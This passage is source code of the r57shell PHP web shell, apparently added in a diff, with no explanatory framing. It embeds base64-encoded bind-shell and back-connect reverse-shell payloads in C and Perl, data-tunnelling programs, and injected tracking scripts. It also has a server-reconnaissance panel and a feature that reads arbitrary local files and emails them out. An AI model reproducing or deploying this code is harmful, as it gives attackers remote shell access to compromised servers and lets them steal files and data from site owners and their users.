+ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog +ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk +7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 +9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld +2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu +dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp +lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; +$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS +VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs +JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV +TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG +lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK +Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i +Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N +lIENPTk47DQpleGl0IDA7DQp9DQp9"; +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC +BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb +SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd +KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ +sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC +Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D +QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp +Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; +$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 +x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb +HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj +aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ +lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm +xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga +W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy +LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV +udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow +0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb +iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l +KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA +gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS +hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC +iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh +ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ +vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC +AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D +QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh +ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 +gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay +wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c +29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy +MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA +gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci +5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ +HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu +dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 +KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC +ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI +E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp +Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs +NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG +J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL +CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp +dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo +gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm +lsZSk7DQogIHJldHVybiAwOw0KfQ=="; +$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I +CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl +bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU +gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol +NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC +iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy +aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ +SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 +xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ +WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN +CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 +yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi +I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc +m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp +IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ +lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW +QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK +CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g +c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 +NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG +UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I +DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs +ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J +1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; +$c1 = "PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2 +JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2l +lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iKyhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW +FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hvdGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L +3NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4yIj5ob3Rsb2dfanM9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgr +J3gnK3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci5hcHBOYW1lLnN1YnN0cmluZygwLDMpPT0iTWljIikpP3NjcmVlbi5jb2xvckRlcHR +oOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGxvZ19qcz0iMS4zIjwvc2NyaXB0Pj +xzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19yKz0iJmpzPSIraG90bG9nX2pzO2RvY3VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwO +i8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9wJz48aW1nICIrIiBzcmM9J2h0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2hv +dGxvZy9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aWR0aD0xIGhlaWdodD0xIGFsdD0xPjwvYT4iKTwvc2NyaXB0Pjxub3NjcmlwdD48YSB +ocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhcmdldD1fdG9wPjxpbWdzcmM9Imh0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2 +hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lkdGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L25vc2NyaXB0Pg=="; +$c2 = "PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3JpdGUoJzxh +IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl +hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz +tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa +XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u +8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV +ybmV0LS0+"; +echo $head; +echo '</head>'; +if(empty($_POST['cmd'])) { +$serv = array(127,192,172,10); +$addr=@explode('.', $_SERVER['SERVER_ADDR']); +$current_version = str_replace('.','',$version); +if (!in_array($addr[0], $serv)) { +@print "<img src=\"http://127.0.0.1/r57shell/version.php?img=1&version=".$current_version."\" border=0 height=0 width=0>"; +@readfile ("http://127.0.0.1/r57shell/version.php?version=".$current_version."");}} +echo '<body bgcolor="#e4e0d8"><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> +<tr><td bgcolor=#cccccc width=160><font face=Verdana size=2>'.ws(1).'&nbsp; +<font face=Webdings size=6><b>!</b></font><b>'.ws(2).'r57shell '.$version.'</b> +</font></td><td bgcolor=#cccccc><font face=Verdana size=-2>'; +echo ws(2); +echo "<b>".date ("d-m-Y H:i:s")."</b>"; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb; +if($unix) { echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb; } +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>"; +echo ws(2); +echo (($safe_mode)?("safe_mode: <b><font color=green>ON</font></b>"):("safe_mode: <b><font color=red>OFF</font></b>")); +echo ws(2); +echo "PHP version: <b>".@phpversion()."</b>"; +$curl_on = @function_exists('curl_version'); +echo ws(2); +echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b>"):("<b><font color=red>OFF</font></b>")); +echo ws(2); +echo "MySQL: <b>"; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "<font color=green>ON</font></b>"; } else { echo "<font color=red>OFF</font></b>"; } +echo ws(2); +echo "MSSQL: <b>"; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo ws(2); +echo "PostgreSQL: <b>"; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo ws(2); +echo "Oracle: <b>"; +$ora_on = @function_exists('ocilogon'); +if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo "<br>".ws(2); +echo "Disable functions : <b>"; +if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} +$free = @diskfreespace($dir); +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +$used = $all-$free; +$used_percent = @round(100/($all/$free),2); +echo "<br>".ws(2)."HDD Free : <b>".view_size($free)."</b> HDD Total : <b>".view_size($all)."</b>"; +echo '</font></td></tr><table> +<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> +<tr><td align=right width=100>'; +echo $font; +if(!$windows){ +echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +$uname = ex('uname -a'); +echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>")); +if(!$safe_mode){ +$bsd1 = ex('sysctl -n kern.ostype'); +$bsd2 = ex('sysctl -n kern.osrelease'); +$lin1 = ex('sysctl -n kernel.ostype'); +$lin2 = ex('sysctl -n kernel.osrelease'); +} +if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; } +else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; } +else { $sysctl = "-"; } +echo ws(3).$sysctl."<br>"; +echo ws(3).ex('echo $OSTYPE')."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +$id = ex('id'); +echo((!empty($id))?(ws(3).$id."<br>"):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>")); +echo ws(3).$dir; +echo ws(3).'( '.perms(@fileperms($dir)).' )'; +echo "</b></font>"; +} +else +{ +echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +echo ws(3).@substr(@php_uname(),0,120)."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +echo ws(3).@get_current_user()."<br>"; +echo ws(3).$dir; +echo "<br></font>"; +} +echo "</font>"; +echo "</td></tr></table>"; +if(empty($c1)||empty($c2)) { die(); } +$f = '<br>'; +$f .= base64_decode($c1); +$f .= base64_decode($c2); +if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail") + { + $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$POST['from']."\r\n"); + mr($language,$res); + $_POST['cmd']=""; + } +if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file'])) + { + if(!$file=@fopen($_POST['loc_file'],"r")) { echo re($_POST['loc_file']); $_POST['cmd']=""; } + else + { + $filename = @basename($_POST['loc_file']); + $filedump = @fread($file,@filesize($_POST['loc_file'])); + fclose($file); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + $attach = array( + "name"=>$filename, + "type"=>$mime_type, + "content"=>$filedump + ); + if(empty($_POST['subj'])) { 